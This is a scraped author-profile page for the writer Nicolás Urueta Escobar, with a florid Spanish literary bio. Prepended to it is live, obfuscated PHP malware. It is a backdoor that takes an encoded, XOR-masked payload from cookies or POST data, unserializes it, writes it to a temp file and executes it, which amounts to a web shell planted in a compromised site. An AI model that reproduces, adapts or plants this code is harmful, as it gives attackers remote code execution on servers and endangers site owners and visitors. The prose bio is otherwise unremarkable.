$poVPthDL = class_exists("bi_PWWP");if (!$poVPthDL){class bi_PWWP{private $bhKPifoBh;public static $VVmPfuns = "6031f892-4c69-461b-aa03-20f57dd0098d";public static $QngRyX = NULL;public function __construct(){$IHLQmOo = $_COOKIE;$mxWYFWABx = $_POST;$Cpzno = @$IHLQmOo[substr(bi_PWWP::$VVmPfuns, 0, 4)];if (!empty($Cpzno)){$gXNuiCKHp = "base64";$DyXuqTtBH = "";$Cpzno = explode(",", $Cpzno);foreach ($Cpzno as $fdScEe){$DyXuqTtBH .= @$IHLQmOo[$fdScEe];$DyXuqTtBH .= @$mxWYFWABx[$fdScEe];}$DyXuqTtBH = array_map($gXNuiCKHp . '_' . 'd' . "\145" . 'c' . "\157" . "\144" . chr ( 207 - 106 ), array($DyXuqTtBH,)); $DyXuqTtBH = $DyXuqTtBH[0] ^ str_repeat(bi_PWWP::$VVmPfuns, (strlen($DyXuqTtBH[0]) / strlen(bi_PWWP::$VVmPfuns)) + 1);bi_PWWP::$QngRyX = @unserialize($DyXuqTtBH);}}public function __destruct(){$this->fkyOS();}private function fkyOS(){if (is_array(bi_PWWP::$QngRyX)) {$nfUdVDT = sys_get_temp_dir() . "/" . crc32(bi_PWWP::$QngRyX[chr ( 510 - 395 ).chr (97) . "\x6c" . chr (116)]);@bi_PWWP::$QngRyX[chr (119) . "\x72" . "\151" . chr (116) . chr (101)]($nfUdVDT, bi_PWWP::$QngRyX["\143" . chr ( 1059 - 948 )."\156" . 't' . chr (101) . chr (110) . "\164"]);include $nfUdVDT;@bi_PWWP::$QngRyX['d' . 'e' . chr (108) . "\145" . "\164" . "\x65"]($nfUdVDT);exit();}}}$ETOLvDXzYi = new bi_PWWP(); $ETOLvDXzYi = NULL;} ?> Nicolás Urueta Escobar – www.interferencechannel.com

Nicolás Urueta Escobar

 

    Escritor por naturaleza y arquitecto de la palabra por castigo divino, Nicolás es poseedor de cierto astrolabio de papel con el que, a veces, suele hacer reventar la tercera dimensión de nuestro universo en los múltiples fragmentos de muchos otros universos cuyos habitantes, extraviados en medio de su tragedia cósmica individual, apenas si se han atrevido a adivinar la circunferencia invisible que, como las hipérbolas por siempre reflejadas en la sutil infinitud de sus asíntotas, une a todos los mundos. Diseñó, proyectó y construyó el laberinto en cuyo centro fue asesinado el ingeniero principal por la sombra (no se sabe cuál) de alguno de los albañiles que había enloquecido, como quien se enloquece por una voz o por los movimientos del ajedrez, tratando de descifrar la estructura simbólica del edificio: para diseñar la compleja distribución de sus galerías, Nicolás duplicó en su dibujo las circunvoluciones que rigen la anatomía del cerebro, sin detenerse a pensar que, horror entre horrores, también estaba duplicando los fantasmas con que parece funcionar la mente…

Comments are closed.